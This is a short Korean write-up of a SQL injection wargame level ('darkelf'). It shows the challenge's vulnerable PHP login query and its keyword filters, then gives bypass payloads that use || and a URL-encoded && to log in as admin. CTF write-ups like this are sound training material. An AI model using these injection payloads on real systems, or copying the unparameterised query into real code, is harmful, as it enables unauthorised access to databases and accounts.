<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("darkelf");
highlight_file(__FILE__);
?>
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
GET방식으로 pw를 받으며, pw에 prob, _, ., () 가 들어 있고, /i 대소문자가 구분 되지 않으면 필터링되서 No Hack ~_~ 이 출력된다.
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
만약, or, and 이 있거나 /i 대소문자가 구분 되지 않으면 필터링되서 HeHe 가 출력된다.
$query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'";
id=guest로 고정되며 pw가 쿼리문 안에 있는 것을 알 수 있다.
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
만약 result 값이 id(guest) 일 때, "Hello (id)"가 출력
if($result['id'] == 'admin') solve("darkelf");
result 값이 admin과 같을 때 성공적으로 출력할 수 있다.
pw='||id='admin
논리 연산자 || (OR)
을 사용해 문제를 풀었다.
또 다른 방법은 && (AND)
를 사용할 수 있다.
pw='||'1'='1'%26%26id='admin
&& (AND)
같은 경우, 특수문자를 사용할 수 없기 때문에 URL encoding이 된 %26%26
을 사용해줘야 한다.